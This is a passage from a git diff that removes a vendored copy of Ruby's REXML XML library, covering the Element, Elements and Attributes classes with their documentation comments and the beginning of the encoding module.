-    #   pairs, which will be used to set the attributes of the new Element.
-    # Returns:: the Element that was added
-    #  el = doc.add_element 'my-tag'
-    #  el = doc.add_element 'my-tag', {'attr1'=>'val1', 'attr2'=>'val2'}
-    #  el = Element.new 'my-tag'
-    #  doc.add_element el
-    def add_element element, attrs=nil
-      raise "First argument must be either an element name, or an Element object" if element.nil?
-      el = @elements.add(element)
-      attrs.each do |key, value|
-        el.attributes[key]=value
-      end	if attrs.kind_of? Hash
-      el
-    end
-
-    # Deletes a child element.
-    # element:: 
-    #   Must be an +Element+, +String+, or +Integer+.  If Element, 
-    #   the element is removed.  If String, the element is found (via XPath) 
-    #   and removed.  <em>This means that any parent can remove any
-    #   descendant.<em>  If Integer, the Element indexed by that number will be
-    #   removed.
-    # Returns:: the element that was removed.
-    #  doc.delete_element "/a/b/c[@id='4']"
-    #  doc.delete_element doc.elements["//k"]
-    #  doc.delete_element 1
-    def delete_element element
-      @elements.delete element
-    end
-
-    # Evaluates to +true+ if this element has at least one child Element
-    #  doc = Document.new "<a><b/><c>Text</c></a>"
-    #  doc.root.has_elements               # -> true
-    #  doc.elements["/a/b"].has_elements   # -> false
-    #  doc.elements["/a/c"].has_elements   # -> false
-    def has_elements?
-      !@elements.empty?
-    end
-
-    # Iterates through the child elements, yielding for each Element that
-    # has a particular attribute set.
-    # key:: 
-    #   the name of the attribute to search for
-    # value:: 
-    #   the value of the attribute
-    # max:: 
-    #   (optional) causes this method to return after yielding 
-    #   for this number of matching children
-    # name:: 
-    #   (optional) if supplied, this is an XPath that filters
-    #   the children to check.
-    #
-    #  doc = Document.new "<a><b @id='1'/><c @id='2'/><d @id='1'/><e/></a>"
-    #  # Yields b, c, d
-    #  doc.root.each_element_with_attribute( 'id' ) {|e| p e}
-    #  # Yields b, d
-    #  doc.root.each_element_with_attribute( 'id', '1' ) {|e| p e}
-    #  # Yields b
-    #  doc.root.each_element_with_attribute( 'id', '1', 1 ) {|e| p e}
-    #  # Yields d
-    #  doc.root.each_element_with_attribute( 'id', '1', 0, 'd' ) {|e| p e}
-    def each_element_with_attribute( key, value=nil, max=0, name=nil, &block ) # :yields: Element
-      each_with_something( proc {|child| 
-        if value.nil?
-          child.attributes[key] != nil
-        else
-          child.attributes[key]==value
-        end
-      }, max, name, &block )
-    end
-
-    # Iterates through the children, yielding for each Element that
-    # has a particular text set.
-    # text:: 
-    #   the text to search for.  If nil, or not supplied, will itterate
-    #   over all +Element+ children that contain at least one +Text+ node.
-    # max:: 
-    #   (optional) causes this method to return after yielding
-    #   for this number of matching children
-    # name:: 
-    #   (optional) if supplied, this is an XPath that filters
-    #   the children to check.
-    #
-    #  doc = Document.new '<a><b>b</b><c>b</c><d>d</d><e/></a>'
-    #  # Yields b, c, d
-    #  doc.each_element_with_text {|e|p e}
-    #  # Yields b, c
-    #  doc.each_element_with_text('b'){|e|p e}
-    #  # Yields b
-    #  doc.each_element_with_text('b', 1){|e|p e}
-    #  # Yields d
-    #  doc.each_element_with_text(nil, 0, 'd'){|e|p e}
-    def each_element_with_text( text=nil, max=0, name=nil, &block ) # :yields: Element
-      each_with_something( proc {|child| 
-        if text.nil?
-          child.has_text?
-        else
-          child.text == text
-        end
-      }, max, name, &block )
-    end
-
-    # Synonym for Element.elements.each
-    def each_element( xpath=nil, &block ) # :yields: Element
-      @elements.each( xpath, &block )
-    end
-
-    # Synonym for Element.to_a
-    # This is a little slower than calling elements.each directly.
-    # xpath:: any XPath by which to search for elements in the tree
-    # Returns:: an array of Elements that match the supplied path
-    def get_elements( xpath )
-      @elements.to_a( xpath )
-    end
-
-    # Returns the next sibling that is an element, or nil if there is
-    # no Element sibling after this one
-    #  doc = Document.new '<a><b/>text<c/></a>'
-    #  doc.root.elements['b'].next_element          #-> <c/>
-    #  doc.root.elements['c'].next_element          #-> nil
-    def next_element
-      element = next_sibling
-      element = element.next_sibling until element.nil? or element.kind_of? Element 
-      return element
-    end
-
-    # Returns the previous sibling that is an element, or nil if there is
-    # no Element sibling prior to this one
-    #  doc = Document.new '<a><b/>text<c/></a>'
-    #  doc.root.elements['c'].previous_element          #-> <b/>
-    #  doc.root.elements['b'].previous_element          #-> nil
-    def previous_element
-      element = previous_sibling
-      element = element.previous_sibling until element.nil? or element.kind_of? Element
-      return element
-    end
-
-
-    #################################################
-    # Text                                          #
-    #################################################
-
-    # Evaluates to +true+ if this element has at least one Text child
-    def has_text?
-      not text().nil?
-    end
-
-    # A convenience method which returns the String value of the _first_
-    # child text element, if one exists, and +nil+ otherwise.
-    #
-    # <em>Note that an element may have multiple Text elements, perhaps
-    # separated by other children</em>.  Be aware that this method only returns
-    # the first Text node.
-    #
-    # This method returns the +value+ of the first text child node, which
-    # ignores the +raw+ setting, so always returns normalized text. See
-    # the Text::value documentation.
-    #
-    #  doc = Document.new "<p>some text <b>this is bold!</b> more text</p>"
-    #  # The element 'p' has two text elements, "some text " and " more text".
-    #  doc.root.text              #-> "some text "
-    def text( path = nil )
-      rv = get_text(path)
-      return rv.value unless rv.nil?
-      nil
-    end
-
-    # Returns the first child Text node, if any, or +nil+ otherwise.
-    # This method returns the actual +Text+ node, rather than the String content.
-    #  doc = Document.new "<p>some text <b>this is bold!</b> more text</p>"
-    #  # The element 'p' has two text elements, "some text " and " more text".
-    #  doc.root.get_text.value            #-> "some text "
-    def get_text path = nil
-      rv = nil
-      if path
-        element = @elements[ path ]
-        rv = element.get_text unless element.nil?
-      else
-        rv = @children.find { |node| node.kind_of? Text }
-      end
-      return rv
-    end
-
-    # Sets the first Text child of this object.  See text() for a
-    # discussion about Text children.
-    #
-    # If a Text child already exists, the child is replaced by this
-    # content.  This means that Text content can be deleted by calling
-    # this method with a nil argument.  In this case, the next Text
-    # child becomes the first Text child.  In no case is the order of
-    # any siblings disturbed.
-    # text:: 
-    #   If a String, a new Text child is created and added to
-    #   this Element as the first Text child.  If Text, the text is set
-    #   as the first Child element.  If nil, then any existing first Text
-    #   child is removed.
-    # Returns:: this Element.
-    #  doc = Document.new '<a><b/></a>'
-    #  doc.root.text = 'Sean'      #-> '<a><b/>Sean</a>'
-    #  doc.root.text = 'Elliott'   #-> '<a><b/>Elliott</a>'
-    #  doc.root.add_element 'c'    #-> '<a><b/>Elliott<c/></a>'
-    #  doc.root.text = 'Russell'   #-> '<a><b/>Russell<c/></a>'
-    #  doc.root.text = nil         #-> '<a><b/><c/></a>'
-    def text=( text )
-      if text.kind_of? String
-        text = Text.new( text, whitespace(), nil, raw() )
-      elsif text and !text.kind_of? Text
-        text = Text.new( text.to_s, whitespace(), nil, raw() )
-      end
-      old_text = get_text
-      if text.nil?
-        old_text.remove unless old_text.nil?
-      else
-        if old_text.nil?
-          self << text
-        else
-          old_text.replace_with( text )
-        end
-      end
-      return self
-    end
-
-    # A helper method to add a Text child.  Actual Text instances can
-    # be added with regular Parent methods, such as add() and <<()
-    # text::
-    #   if a String, a new Text instance is created and added
-    #   to the parent.  If Text, the object is added directly.
-    # Returns:: this Element
-    #  e = Element.new('a')          #-> <e/>
-    #  e.add_text 'foo'              #-> <e>foo</e>
-    #  e.add_text Text.new(' bar')    #-> <e>foo bar</e>
-    # Note that at the end of this example, the branch has <b>3</b> nodes; the 'e'
-    # element and <b>2</b> Text node children.
-    def add_text( text )
-      if text.kind_of? String 
-        if @children[-1].kind_of? Text
-          @children[-1] << text
-          return
-        end
-        text = Text.new( text, whitespace(), nil, raw() )
-      end
-      self << text unless text.nil?
-      return self
-    end
-
-    def node_type
-      :element
-    end
-
-    def xpath
-      path_elements = []
-      cur = self
-      path_elements << __to_xpath_helper( self )
-      while cur.parent
-        cur = cur.parent
-        path_elements << __to_xpath_helper( cur )
-      end
-      return path_elements.reverse.join( "/" )
-    end
-
-    #################################################
-    # Attributes                                    #
-    #################################################
-
-    def attribute( name, namespace=nil )
-      prefix = nil
-      if namespaces.respond_to? :key
-        prefix = namespaces.key(namespace) if namespace
-      else
-        prefix = namespaces.index(namespace) if namespace
-      end
-      prefix = nil if prefix == 'xmlns'
-
-      ret_val = 
-        attributes.get_attribute( "#{prefix ? prefix + ':' : ''}#{name}" )
-
-      return ret_val unless ret_val.nil?
-      return nil if prefix.nil?
-
-      # now check that prefix'es namespace is not the same as the
-      # default namespace
-      return nil unless ( namespaces[ prefix ] == namespaces[ 'xmlns' ] )
-
-      attributes.get_attribute( name )
-
-    end
-
-    # Evaluates to +true+ if this element has any attributes set, false
-    # otherwise.
-    def has_attributes?
-      return !@attributes.empty?
-    end
-
-    # Adds an attribute to this element, overwriting any existing attribute
-    # by the same name.
-    # key::
-    #   can be either an Attribute or a String.  If an Attribute,
-    #   the attribute is added to the list of Element attributes.  If String,
-    #   the argument is used as the name of the new attribute, and the value
-    #   parameter must be supplied.
-    # value:: 
-    #   Required if +key+ is a String, and ignored if the first argument is
-    #   an Attribute.  This is a String, and is used as the value
-    #   of the new Attribute.  This should be the unnormalized value of the
-    #   attribute (without entities).
-    # Returns:: the Attribute added
-    #  e = Element.new 'e'
-    #  e.add_attribute( 'a', 'b' )               #-> <e a='b'/>
-    #  e.add_attribute( 'x:a', 'c' )             #-> <e a='b' x:a='c'/>
-    #  e.add_attribute Attribute.new('b', 'd')   #-> <e a='b' x:a='c' b='d'/>
-    def add_attribute( key, value=nil )
-      if key.kind_of? Attribute
-        @attributes << key
-      else
-        @attributes[key] = value
-      end
-    end
-
-    # Add multiple attributes to this element.
-    # hash:: is either a hash, or array of arrays
-    #  el.add_attributes( {"name1"=>"value1", "name2"=>"value2"} )
-    #  el.add_attributes( [ ["name1","value1"], ["name2"=>"value2"] ] )
-    def add_attributes hash
-      if hash.kind_of? Hash
-        hash.each_pair {|key, value| @attributes[key] = value }
-      elsif hash.kind_of? Array
-        hash.each { |value| @attributes[ value[0] ] = value[1] }
-      end
-    end
-
-    # Removes an attribute
-    # key::
-    #   either an Attribute or a String.  In either case, the
-    #   attribute is found by matching the attribute name to the argument,
-    #   and then removed.  If no attribute is found, no action is taken.
-    # Returns:: 
-    #   the attribute removed, or nil if this Element did not contain
-    #   a matching attribute
-    #  e = Element.new('E')
-    #  e.add_attribute( 'name', 'Sean' )             #-> <E name='Sean'/>
-    #  r = e.add_attribute( 'sur:name', 'Russell' )  #-> <E name='Sean' sur:name='Russell'/>
-    #  e.delete_attribute( 'name' )                  #-> <E sur:name='Russell'/>
-    #  e.delete_attribute( r )                       #-> <E/>
-    def delete_attribute(key)
-      attr = @attributes.get_attribute(key)
-      attr.remove unless attr.nil?
-    end
-
-    #################################################
-    # Other Utilities                               #
-    #################################################
-
-    # Get an array of all CData children.  
-    # IMMUTABLE
-    def cdatas
-      find_all { |child| child.kind_of? CData }.freeze
-    end
-
-    # Get an array of all Comment children.
-    # IMMUTABLE
-    def comments
-      find_all { |child| child.kind_of? Comment }.freeze
-    end
-
-    # Get an array of all Instruction children.
-    # IMMUTABLE
-    def instructions
-      find_all { |child| child.kind_of? Instruction }.freeze
-    end
-
-    # Get an array of all Text children.
-    # IMMUTABLE
-    def texts
-      find_all { |child| child.kind_of? Text }.freeze
-    end
-
-    # == DEPRECATED
-    # See REXML::Formatters
-    #
-    # Writes out this element, and recursively, all children.
-    # output::
-    #	  output an object which supports '<< string'; this is where the
-    #   document will be written.
-    # indent::
-    #   An integer.  If -1, no indenting will be used; otherwise, the
-    #   indentation will be this number of spaces, and children will be
-    #   indented an additional amount.  Defaults to -1
-    # transitive::
-    #   If transitive is true and indent is >= 0, then the output will be
-    #   pretty-printed in such a way that the added whitespace does not affect
-    #   the parse tree of the document
-    # ie_hack::
-    #   Internet Explorer is the worst piece of crap to have ever been
-    #   written, with the possible exception of Windows itself.  Since IE is
-    #   unable to parse proper XML, we have to provide a hack to generate XML
-    #   that IE's limited abilities can handle.  This hack inserts a space 
-    #   before the /> on empty tags.  Defaults to false
-    #
-    #  out = ''
-    #  doc.write( out )     #-> doc is written to the string 'out'
-    #  doc.write( $stdout ) #-> doc written to the console
-    def write(output=$stdout, indent=-1, transitive=false, ie_hack=false)
-      Kernel.warn("#{self.class.name}.write is deprecated.  See REXML::Formatters")
-      formatter = if indent > -1
-          if transitive
-            REXML::Formatters::Transitive.new( indent, ie_hack )
-          else
-            REXML::Formatters::Pretty.new( indent, ie_hack )
-          end
-        else
-          REXML::Formatters::Default.new( ie_hack )
-        end
-      formatter.write( self, output )
-    end
-
-
-    private
-    def __to_xpath_helper node
-      rv = node.expanded_name.clone
-      if node.parent
-        results = node.parent.find_all {|n| 
-          n.kind_of?(REXML::Element) and n.expanded_name == node.expanded_name 
-        }
-        if results.length > 1
-          idx = results.index( node )
-          rv << "[#{idx+1}]"
-        end
-      end
-      rv
-    end
-
-    # A private helper method
-    def each_with_something( test, max=0, name=nil )
-      num = 0
-      @elements.each( name ){ |child|
-        yield child if test.call(child) and num += 1
-        return if max>0 and num == max
-      }
-    end
-  end
-
-  ########################################################################
-  # ELEMENTS                                                             #
-  ########################################################################
-
-  # A class which provides filtering of children for Elements, and
-  # XPath search support.  You are expected to only encounter this class as
-  # the <tt>element.elements</tt> object.  Therefore, you are 
-  # _not_ expected to instantiate this yourself.
-  class Elements
-    include Enumerable
-    # Constructor
-    # parent:: the parent Element
-    def initialize parent
-      @element = parent
-    end
-
-    # Fetches a child element.  Filters only Element children, regardless of
-    # the XPath match.
-    # index:: 
-    #   the search parameter.  This is either an Integer, which
-    #   will be used to find the index'th child Element, or an XPath,
-    #   which will be used to search for the Element.  <em>Because
-    #   of the nature of XPath searches, any element in the connected XML
-    #   document can be fetched through any other element.</em>  <b>The
-    #   Integer index is 1-based, not 0-based.</b>  This means that the first
-    #   child element is at index 1, not 0, and the +n+th element is at index
-    #   +n+, not <tt>n-1</tt>.  This is because XPath indexes element children
-    #   starting from 1, not 0, and the indexes should be the same.
-    # name:: 
-    #   optional, and only used in the first argument is an
-    #   Integer.  In that case, the index'th child Element that has the
-    #   supplied name will be returned.  Note again that the indexes start at 1.
-    # Returns:: the first matching Element, or nil if no child matched
-    #  doc = Document.new '<a><b/><c id="1"/><c id="2"/><d/></a>'
-    #  doc.root.elements[1]       #-> <b/>
-    #  doc.root.elements['c']     #-> <c id="1"/>
-    #  doc.root.elements[2,'c']   #-> <c id="2"/>
-    def []( index, name=nil)
-      if index.kind_of? Integer
-        raise "index (#{index}) must be >= 1" if index < 1
-        name = literalize(name) if name
-        num = 0
-        @element.find { |child|
-          child.kind_of? Element and
-          (name.nil? ? true : child.has_name?( name )) and 
-          (num += 1) == index
-        }
-      else
-        return XPath::first( @element, index )
-        #{ |element| 
-        #	return element if element.kind_of? Element
-        #}
-        #return nil
-      end
-    end
-
-    # Sets an element, replacing any previous matching element.  If no
-    # existing element is found ,the element is added.
-    # index:: Used to find a matching element to replace.  See []().
-    # element:: 
-    #   The element to replace the existing element with
-    #   the previous element
-    # Returns:: nil if no previous element was found.
-    #
-    #  doc = Document.new '<a/>'
-    #  doc.root.elements[10] = Element.new('b')    #-> <a><b/></a>
-    #  doc.root.elements[1]                        #-> <b/>
-    #  doc.root.elements[1] = Element.new('c')     #-> <a><c/></a>
-    #  doc.root.elements['c'] = Element.new('d')   #-> <a><d/></a>
-    def []=( index, element )
-      previous = self[index]
-      if previous.nil?
-        @element.add element
-      else
-        previous.replace_with element
-      end
-      return previous
-    end
-
-    # Returns +true+ if there are no +Element+ children, +false+ otherwise
-    def empty?
-      @element.find{ |child| child.kind_of? Element}.nil?
-    end
-
-    # Returns the index of the supplied child (starting at 1), or -1 if 
-    # the element is not a child
-    # element:: an +Element+ child
-    def index element
-      rv = 0
-      found = @element.find do |child| 
-        child.kind_of? Element and
-        (rv += 1) and
-        child == element
-      end
-      return rv if found == element
-      return -1
-    end
-
-    # Deletes a child Element
-    # element:: 
-    #   Either an Element, which is removed directly; an
-    #   xpath, where the first matching child is removed; or an Integer,
-    #   where the n'th Element is removed.
-    # Returns:: the removed child
-    #  doc = Document.new '<a><b/><c/><c id="1"/></a>'
-    #  b = doc.root.elements[1]
-    #  doc.root.elements.delete b           #-> <a><c/><c id="1"/></a>
-    #  doc.elements.delete("a/c[@id='1']")  #-> <a><c/></a>
-    #  doc.root.elements.delete 1           #-> <a/>
-    def delete element
-      if element.kind_of? Element
-        @element.delete element
-      else
-        el = self[element]
-        el.remove if el
-      end
-    end
-
-    # Removes multiple elements.  Filters for Element children, regardless of
-    # XPath matching.
-    # xpath:: all elements matching this String path are removed.
-    # Returns:: an Array of Elements that have been removed
-    #  doc = Document.new '<a><c/><c/><c/><c/></a>'
-    #  deleted = doc.elements.delete_all 'a/c' #-> [<c/>, <c/>, <c/>, <c/>]
-    def delete_all( xpath )
-      rv = []
-      XPath::each( @element, xpath) {|element| 
-        rv << element if element.kind_of? Element
-      }
-      rv.each do |element|
-        @element.delete element
-        element.remove
-      end
-      return rv
-    end
-
-    # Adds an element
-    # element:: 
-    #   if supplied, is either an Element, String, or
-    #   Source (see Element.initialize).  If not supplied or nil, a
-    #   new, default Element will be constructed
-    # Returns:: the added Element
-    #  a = Element.new('a')
-    #  a.elements.add(Element.new('b'))  #-> <a><b/></a>
-    #  a.elements.add('c')               #-> <a><b/><c/></a>
-    def add element=nil
-      rv = nil
-      if element.nil?
-        Element.new("", self, @element.context)
-      elsif not element.kind_of?(Element)
-        Element.new(element, self, @element.context)
-      else
-        @element << element
-        element.context = @element.context
-        element
-      end
-    end
-
-    alias :<< :add
-
-    # Iterates through all of the child Elements, optionally filtering
-    # them by a given XPath
-    # xpath:: 
-    #   optional.  If supplied, this is a String XPath, and is used to 
-    #   filter the children, so that only matching children are yielded.  Note
-    #   that XPaths are automatically filtered for Elements, so that
-    #   non-Element children will not be yielded
-    #  doc = Document.new '<a><b/><c/><d/>sean<b/><c/><d/></a>'
-    #  doc.root.each {|e|p e}       #-> Yields b, c, d, b, c, d elements
-    #  doc.root.each('b') {|e|p e}  #-> Yields b, b elements
-    #  doc.root.each('child::node()')  {|e|p e}
-    #  #-> Yields <b/>, <c/>, <d/>, <b/>, <c/>, <d/>
-    #  XPath.each(doc.root, 'child::node()', &block)
-    #  #-> Yields <b/>, <c/>, <d/>, sean, <b/>, <c/>, <d/>
-    def each( xpath=nil, &block)
-      XPath::each( @element, xpath ) {|e| yield e if e.kind_of? Element }
-    end
-
-    def collect( xpath=nil, &block )
-      collection = []
-      XPath::each( @element, xpath ) {|e| 
-        collection << yield(e)  if e.kind_of?(Element) 
-      }
-      collection
-    end
-
-    def inject( xpath=nil, initial=nil, &block )
-      first = true
-      XPath::each( @element, xpath ) {|e|
-        if (e.kind_of? Element)
-          if (first and initial == nil)
-            initial = e
-            first = false
-          else
-            initial = yield( initial, e ) if e.kind_of? Element
-          end
-        end
-      }
-      initial
-    end
-
-    # Returns the number of +Element+ children of the parent object.
-    #  doc = Document.new '<a>sean<b/>elliott<b/>russell<b/></a>'
-    #  doc.root.size            #-> 6, 3 element and 3 text nodes
-    #  doc.root.elements.size   #-> 3
-    def size
-      count = 0
-      @element.each {|child| count+=1 if child.kind_of? Element }
-      count
-    end
-
-    # Returns an Array of Element children.  An XPath may be supplied to
-    # filter the children.  Only Element children are returned, even if the
-    # supplied XPath matches non-Element children.
-    #  doc = Document.new '<a>sean<b/>elliott<c/></a>'
-    #  doc.root.elements.to_a                  #-> [ <b/>, <c/> ]
-    #  doc.root.elements.to_a("child::node()") #-> [ <b/>, <c/> ] 
-    #  XPath.match(doc.root, "child::node()")  #-> [ sean, <b/>, elliott, <c/> ]
-    def to_a( xpath=nil )
-      rv = XPath.match( @element, xpath )
-      return rv.find_all{|e| e.kind_of? Element} if xpath
-      rv
-    end
-
-    private
-    # Private helper class.  Removes quotes from quoted strings
-    def literalize name
-      name = name[1..-2] if name[0] == ?' or name[0] == ?"               #'
-      name
-    end
-  end
-
-  ########################################################################
-  # ATTRIBUTES                                                           #
-  ########################################################################
-
-  # A class that defines the set of Attributes of an Element and provides 
-  # operations for accessing elements in that set.
-  class Attributes < Hash
-    # Constructor
-    # element:: the Element of which this is an Attribute
-    def initialize element
-      @element = element
-    end
-
-    # Fetches an attribute value.  If you want to get the Attribute itself,
-    # use get_attribute()
-    # name:: an XPath attribute name.  Namespaces are relevant here.
-    # Returns:: 
-    #   the String value of the matching attribute, or +nil+ if no
-    #   matching attribute was found.  This is the unnormalized value
-    #   (with entities expanded).
-    # 
-    #  doc = Document.new "<a foo:att='1' bar:att='2' att='&lt;'/>"
-    #  doc.root.attributes['att']         #-> '<'
-    #  doc.root.attributes['bar:att']     #-> '2'
-    def [](name)
-      attr = get_attribute(name)
-      return attr.value unless attr.nil?
-      return nil
-    end
-
-    def to_a
-      attributes = []
-      each_attribute {|attr| attributes << attr}
-      attributes
-    end
-
-    # Returns the number of attributes the owning Element contains.
-    #  doc = Document "<a x='1' y='2' foo:x='3'/>"
-    #  doc.root.attributes.length        #-> 3
-    def length
-      c = 0
-      each_attribute { c+=1 }
-      c
-    end
-    alias :size :length
-
-    # Itterates over the attributes of an Element.  Yields actual Attribute
-    # nodes, not String values.
-    # 
-    #  doc = Document.new '<a x="1" y="2"/>'
-    #  doc.root.attributes.each_attribute {|attr|
-    #    p attr.expanded_name+" => "+attr.value
-    #  }
-    def each_attribute # :yields: attribute
-      each_value do |val|
-        if val.kind_of? Attribute
-          yield val
-        else
-          val.each_value { |atr| yield atr }
-        end
-      end
-    end
-
-    # Itterates over each attribute of an Element, yielding the expanded name
-    # and value as a pair of Strings.
-    #
-    #  doc = Document.new '<a x="1" y="2"/>'
-    #  doc.root.attributes.each {|name, value| p name+" => "+value }
-    def each
-      each_attribute do |attr|
-        yield [attr.expanded_name, attr.value]
-      end
-    end
-
-    # Fetches an attribute
-    # name:: 
-    #   the name by which to search for the attribute.  Can be a
-    #   <tt>prefix:name</tt> namespace name.
-    # Returns:: The first matching attribute, or nil if there was none.  This
-    # value is an Attribute node, not the String value of the attribute.
-    #  doc = Document.new '<a x:foo="1" foo="2" bar="3"/>'
-    #  doc.root.attributes.get_attribute("foo").value    #-> "2"
-    #  doc.root.attributes.get_attribute("x:foo").value  #-> "1"
-    def get_attribute( name )
-      attr = fetch( name, nil )
-      if attr.nil?
-        return nil if name.nil?
-        # Look for prefix
-        name =~ Namespace::NAMESPLIT
-        prefix, n = $1, $2
-        if prefix
-          attr = fetch( n, nil )
-          # check prefix
-          if attr == nil
-          elsif attr.kind_of? Attribute
-            return attr if prefix == attr.prefix
-          else
-            attr = attr[ prefix ]
-            return attr
-          end
-        end
-        element_document = @element.document
-        if element_document and element_document.doctype
-          expn = @element.expanded_name
-          expn = element_document.doctype.name if expn.size == 0
-          attr_val = element_document.doctype.attribute_of(expn, name)
-          return Attribute.new( name, attr_val ) if attr_val
-        end
-        return nil
-      end
-      if attr.kind_of? Hash
-        attr = attr[ @element.prefix ]
-      end
-      return attr
-    end
-
-    # Sets an attribute, overwriting any existing attribute value by the
-    # same name.  Namespace is significant.
-    # name:: the name of the attribute
-    # value:: 
-    #   (optional) If supplied, the value of the attribute.  If
-    #   nil, any existing matching attribute is deleted.
-    # Returns:: 
-    #   Owning element
-    #  doc = Document.new "<a x:foo='1' foo='3'/>"
-    #  doc.root.attributes['y:foo'] = '2'
-    #  doc.root.attributes['foo'] = '4'
-    #  doc.root.attributes['x:foo'] = nil
-    def []=( name, value )
-      if value.nil?		# Delete the named attribute
-        attr = get_attribute(name)
-        delete attr
-        return
-      end
-      element_document = @element.document
-      unless value.kind_of? Attribute
-        if @element.document and @element.document.doctype
-          value = Text::normalize( value, @element.document.doctype )
-        else
-          value = Text::normalize( value, nil )
-        end
-        value = Attribute.new(name, value)
-      end
-      value.element = @element
-      old_attr = fetch(value.name, nil)
-      if old_attr.nil?
-        store(value.name, value)
-      elsif old_attr.kind_of? Hash
-        old_attr[value.prefix] = value
-      elsif old_attr.prefix != value.prefix
-        # Check for conflicting namespaces
-        raise ParseException.new( 
-          "Namespace conflict in adding attribute \"#{value.name}\": "+
-          "Prefix \"#{old_attr.prefix}\" = "+
-          "\"#{@element.namespace(old_attr.prefix)}\" and prefix "+
-          "\"#{value.prefix}\" = \"#{@element.namespace(value.prefix)}\"") if 
-          value.prefix != "xmlns" and old_attr.prefix != "xmlns" and
-          @element.namespace( old_attr.prefix ) == 
-            @element.namespace( value.prefix )
-          store value.name, { old_attr.prefix	=> old_attr,
-            value.prefix		=> value }
-      else
-        store value.name, value
-      end
-      return @element
-    end
-
-    # Returns an array of Strings containing all of the prefixes declared 
-    # by this set of # attributes.  The array does not include the default
-    # namespace declaration, if one exists.
-    #  doc = Document.new("<a xmlns='foo' xmlns:x='bar' xmlns:y='twee' "+
-    #        "z='glorp' p:k='gru'/>")
-    #  prefixes = doc.root.attributes.prefixes    #-> ['x', 'y']
-    def prefixes
-      ns = []
-      each_attribute do |attribute|
-        ns << attribute.name if attribute.prefix == 'xmlns'
-      end
-      if @element.document and @element.document.doctype
-        expn = @element.expanded_name
-        expn = @element.document.doctype.name if expn.size == 0
-        @element.document.doctype.attributes_of(expn).each {
-          |attribute|
-          ns << attribute.name if attribute.prefix == 'xmlns'
-        }
-      end
-      ns
-    end
-
-    def namespaces
-      namespaces = {}
-      each_attribute do |attribute|
-        namespaces[attribute.name] = attribute.value if attribute.prefix == 'xmlns' or attribute.name == 'xmlns'
-      end
-      if @element.document and @element.document.doctype
-        expn = @element.expanded_name
-        expn = @element.document.doctype.name if expn.size == 0
-        @element.document.doctype.attributes_of(expn).each {
-          |attribute|
-          namespaces[attribute.name] = attribute.value if attribute.prefix == 'xmlns' or attribute.name == 'xmlns'
-        }
-      end
-      namespaces
-    end
-
-    # Removes an attribute
-    # attribute:: 
-    #   either a String, which is the name of the attribute to remove --
-    #   namespaces are significant here -- or the attribute to remove.
-    # Returns:: the owning element
-    #  doc = Document.new "<a y:foo='0' x:foo='1' foo='3' z:foo='4'/>"
-    #  doc.root.attributes.delete 'foo'   #-> <a y:foo='0' x:foo='1' z:foo='4'/>"
-    #  doc.root.attributes.delete 'x:foo' #-> <a y:foo='0' z:foo='4'/>"
-    #  attr = doc.root.attributes.get_attribute('y:foo')
-    #  doc.root.attributes.delete attr    #-> <a z:foo='4'/>"
-    def delete( attribute )
-      name = nil
-      prefix = nil
-      if attribute.kind_of? Attribute
-        name = attribute.name
-        prefix = attribute.prefix
-      else
-        attribute =~ Namespace::NAMESPLIT
-        prefix, name = $1, $2
-        prefix = '' unless prefix
-      end
-      old = fetch(name, nil)
-      attr = nil
-      if old.kind_of? Hash # the supplied attribute is one of many
-        attr = old.delete(prefix)
-        if old.size == 1
-          repl = nil
-          old.each_value{|v| repl = v}
-          store name, repl
-        end
-      elsif old.nil?
-        return @element
-      else # the supplied attribute is a top-level one
-        attr = old
-        res = super(name)
-      end
-      @element
-    end
-
-    # Adds an attribute, overriding any existing attribute by the
-    # same name.  Namespaces are significant.
-    # attribute:: An Attribute
-    def add( attribute )
-      self[attribute.name] = attribute
-    end
-
-    alias :<< :add
-
-    # Deletes all attributes matching a name.  Namespaces are significant.
-    # name:: 
-    #   A String; all attributes that match this path will be removed
-    # Returns:: an Array of the Attributes that were removed
-    def delete_all( name )
-      rv = []
-      each_attribute { |attribute| 
-        rv << attribute if attribute.expanded_name == name
-      }
-      rv.each{ |attr| attr.remove }
-      return rv
-    end
-
-    # The +get_attribute_ns+ method retrieves a method by its namespace
-    # and name. Thus it is possible to reliably identify an attribute
-    # even if an XML processor has changed the prefix.
-    # 
-    # Method contributed by Henrik Martensson
-    def get_attribute_ns(namespace, name)
-      result = nil
-      each_attribute() { |attribute|
-        if name == attribute.name &&
-          namespace == attribute.namespace()
-          # foo will match xmlns:foo, but only if foo isn't also an attribute
-          result = attribute if !result or !namespace.empty? or 
-                                !attribute.fully_expanded_name.index(':')
-        end
-      }
-      result
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encoding.rb b/vendor/plugins/rexml/lib/rexml/encoding.rb
deleted file mode 100644
index 608c69cd..00000000
--- a/vendor/plugins/rexml/lib/rexml/encoding.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# -*- mode: ruby; ruby-indent-level: 2; indent-tabs-mode: t; tab-width: 2 -*- vim: sw=2 ts=2
-module REXML
-  module Encoding
-    @encoding_methods = {}
-    def self.register(enc, &block)
-      @encoding_methods[enc] = block
-    end
-    def self.apply(obj, enc)
-      @encoding_methods[enc][obj]
-    end
-    def self.encoding_method(enc)
-      @encoding_methods[enc]
-    end
-
-    # Native, default format is UTF-8, so it is declared here rather than in
-    # an encodings/ definition.
-    UTF_8 = 'UTF-8'
-    UTF_16 = 'UTF-16'
-    UNILE = 'UNILE'
-
-    # ID ---> Encoding name
-    attr_reader :encoding
-    def encoding=( enc )
-      old_verbosity = $VERBOSE
-      begin
-        $VERBOSE = false
-        enc = enc.nil? ? nil : enc.upcase
-        return false if defined? @encoding and enc == @encoding
-        if enc and enc != UTF_8
-          @encoding = enc
-          raise ArgumentError, "Bad encoding name #@encoding" unless @encoding =~ /^[\w-]+$/
-          @encoding.untaint 
-          begin
-            require 'rexml/encodings/ICONV.rb'
-            Encoding.apply(self, "ICONV")
-          rescue LoadError, Exception
-            begin
-              enc_file = File.join( "rexml", "encodings", "#@encoding.rb" )
-              require enc_file
-              Encoding.apply(self, @encoding)
-            rescue LoadError => err
-              puts err.message
-              raise ArgumentError, "No decoder found for encoding #@encoding.  Please install iconv."
-            end
-          end
-        else
-          @encoding = UTF_8
-          require 'rexml/encodings/UTF-8.rb'
-          Encoding.apply(self, @encoding)
-        end
-      ensure
-        $VERBOSE = old_verbosity
-      end
-      true
-    end
-
-    def check_encoding str
-      # We have to recognize UTF-16, LSB UTF-16, and UTF-8
-      if str[0,2] == "\xfe\xff"
-        str[0,2] = ""
-        return UTF_16
-      elsif str[0,2] == "\xff\xfe"
